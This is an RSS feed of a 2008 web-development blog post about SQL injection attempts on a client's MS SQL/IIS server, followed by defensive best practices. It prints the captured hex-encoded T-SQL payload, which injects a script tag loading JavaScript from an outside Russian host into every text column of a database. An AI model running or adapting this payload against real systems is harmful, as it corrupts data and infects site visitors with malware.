<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>About Web Development by Activo &#187; SQL Injection Attack</title>
	<atom:link href="http://www.activoinc.com/blog/tag/sql-injection-attack/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.activoinc.com/blog</link>
	<description>Web Development in a Web 2.0 World</description>
	<lastBuildDate>Wed, 24 Nov 2010 00:25:02 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Hack attempt: SQL Injection Tagreting MS SQL Servers</title>
		<link>http://www.activoinc.com/blog/2008/08/19/hack-attempt-sql-injection-tagreting-ms-sql-servers/</link>
		<comments>http://www.activoinc.com/blog/2008/08/19/hack-attempt-sql-injection-tagreting-ms-sql-servers/#comments</comments>
		<pubDate>Tue, 19 Aug 2008 21:34:14 +0000</pubDate>
		<dc:creator>frankrusch</dc:creator>
				<category><![CDATA[.NET Framework]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[MS SQL Security]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[SQL Injection Attack]]></category>

		<guid isPermaLink="false">http://www.activoinc.com/blog/?p=27</guid>
		<description><![CDATA[ 
I noticed one of our client&#8217;s IIS web servers was getting a lot of SQL Injection attempts this past week. These attacks pass T-SQL code into querystring parameters in hopes that the application is not checking inputs.
Here&#8217;s the code: (I removed the SQL exec() statement and replaced it with print so you can see [...]]]></description>
			<content:encoded><![CDATA[<p><!--[if gte mso 9]><xml> Normal   0               false   false   false      EN-US   X-NONE   X-NONE                                                     MicrosoftInternetExplorer4 </xml><![endif]--><!--[if gte mso 9]><xml> </xml><![endif]--> <!--[if gte mso 10]></p>
<style>
 /* Style Definitions */
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-priority:99;
	mso-style-qformat:yes;
	mso-style-parent:"";
	mso-padding-alt:0in 5.4pt 0in 5.4pt;
	mso-para-margin:0in;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman","serif";}
</style>
<p><![endif]--></p>
<p>I noticed one of our client&#8217;s IIS web servers was getting a lot of SQL Injection attempts this past week. These attacks pass T-SQL code into querystring parameters in hopes that the application is not checking inputs.</p>
<p>Here&#8217;s the code: (I removed the SQL exec() statement and replaced it with print so you can see the unencoded SQL.)</p>
<p>DECLARE @S VARCHAR(4000);SET @S=CAST(0&#215;4445434C4152452040542<br />
05641524348415228323535292C4043205641524348415228323535292<br />
04445434C415245205461626C655F437572736F7220435552534F52204<br />
64F522053454C45435420612E6E616D652C622E6E616D652046524F4D2<br />
07379736F626A6563747320612C737973636F6C756D6E7320622057484<br />
5524520612E69643D622E696420414E4420612E78747970653D2775272<br />
0414E442028622E78747970653D3939204F5220622E78747970653D333<br />
5204F5220622E78747970653D323331204F5220622E78747970653D313<br />
63729204F50454E205461626C655F437572736F72204645544348204E4<br />
558542046524F4D205461626C655F437572736F7220494E544F2040542<br />
C4043205748494C4528404046455443485F5354415455533D302920424<br />
547494E20455845432827555044415445205B272B40542B275D2053455<br />
4205B272B40432B275D3D525452494D28434F4E5645525428564152434<br />
841522834303030292C5B272B40432B275D29292B27273C73637269707<br />
4207372633D687474703A2F2F7777772E393868732E72752F6A732E6A73<br />
3E3C2F7363726970743E27272729204645544348204E4558542046524F4<br />
D205461626C655F437572736F7220494E544F2040542C404320454E4420<br />
434C4F5345205461626C655F437572736F72204445414C4C4F434154452<br />
05461626C655F437572736F7220 AS VARCHAR(4000));</p>
<p>print @S;</p>
<p>This particular attack is well known and has been sighted in several variants:</p>
<p><a href="http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx">http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx</a></p>
<p><a href="http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx">http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx</a></p>
<p>Using the following web application best practices, we avoid getting hacked:</p>
<ul>
<li>Application level:
<ul>
<li>Never trust user input (e.g. querystring or form posts). Always consider that user input may contain exploit code and check it appropriately.</li>
<li>Always use Stored Procedures and/or Parameterized database queries. Don&#8217;t build SQL queries using string concatenation.</li>
<li>Use typed variables when possible. Converting a querystring parameter to an integer before passing it to a SQL query can inhibit some attacks.</li>
</ul>
</li>
<li>Database level:
<ul>
<li>Use limited database permissions. For example, for SQL Server, don&#8217;t let you application run under the &#8220;sa&#8221; user. The database user should only have permission in the particular database used by the application.</li>
<li>If possible, disable extended stored procedures such as xp_cmdshell.</li>
<li>Don&#8217;t use dynamic SQL. Dynamic SQL can be just as bad as building queries using string concatenation.<br />
Some DBAs have server-wide policies of no Dynamic SQL.</li>
</ul>
</li>
</ul>
<ul>
<li>Web server level:
<ul>
<li>If appropriate, filter requests. IIS 7 offers requestFiltering options. <a href="http://msdn.microsoft.com/en-us/library/ms689462.aspx">http://msdn.microsoft.com/en-us/library/ms689462.aspx</a><br />
For example, the maxQueryString parameter could be used to block the exploit attempt above.</li>
<li>For II6: <a href="http://technet.microsoft.com/en-us/security/cc242650.aspx">http://technet.microsoft.com/en-us/security/cc242650.aspx</a></li>
</ul>
</li>
<li>Miscellaneous
<ul>
<li>Install security patches as soon as they become available.</li>
</ul>
</li>
</ul>
<p>The application level is crucial. Since a web application may someday be moved to a new server, we can&#8217;t assume that the web server and database have been configured using best practices.</p>
<p>All layers of security are important, though: If you&#8217;re using a third-party or closed-source web application, you may not have access to application code. In that case, the Database and Web Server layers are your last defense against exploits in improperly written code.</p>
<h3  class="related_post_title">Related Posts</h3><ul class="related_post"><li>March 25, 2009 -- <a href="http://www.activoinc.com/blog/2009/03/25/tightening-up-iptables-for-a-dedicated-db-server-mysql-and-centos/" title="Tightening up iptables for a dedicated DB server (MySQL and CentOS)">Tightening up iptables for a dedicated DB server (MySQL and CentOS)</a> (1)</li><li>January 7, 2009 -- <a href="http://www.activoinc.com/blog/2009/01/07/2009-the-year-of-open-source-software/" title="2009, the year of Open Source Software">2009, the year of Open Source Software</a> (0)</li><li>December 7, 2008 -- <a href="http://www.activoinc.com/blog/2008/12/07/a-list-of-cms-ecommerce-and-blogging-systems-that-officially-support-jquery/" title="A list of CMS and eCommerce systems that officially support jQuery">A list of CMS and eCommerce systems that officially support jQuery</a> (2)</li><li>December 3, 2008 -- <a href="http://www.activoinc.com/blog/2008/12/03/securing-joomla-cms-based-sites/" title="Securing Joomla! CMS based sites">Securing Joomla! CMS based sites</a> (0)</li><li>November 3, 2008 -- <a href="http://www.activoinc.com/blog/2008/11/03/jquery-emerges-as-most-popular-javascript-library-for-web-development/" title="jQuery Emerges as Most Popular Javascript Library for Web Development">jQuery Emerges as Most Popular Javascript Library for Web Development</a> (2)</li><li>October 6, 2008 -- <a href="http://www.activoinc.com/blog/2008/10/06/ektron-cms400-70-issues-with-net-framework-35-sp1/" title="Ektron CMS400 7.0 issues with .NET Framework 3.5 SP1">Ektron CMS400 7.0 issues with .NET Framework 3.5 SP1</a> (2)</li><li>September 5, 2008 -- <a href="http://www.activoinc.com/blog/2008/09/05/joomla-vs-ektron/" title="Joomla vs Ektron">Joomla vs Ektron</a> (2)</li><li>July 30, 2008 -- <a href="http://www.activoinc.com/blog/2008/07/30/ektron-clarification-on-user-controls-vs-api/" title="Ektron: Clarification on User Controls vs API">Ektron: Clarification on User Controls vs API</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.activoinc.com/blog/2008/08/19/hack-attempt-sql-injection-tagreting-ms-sql-servers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

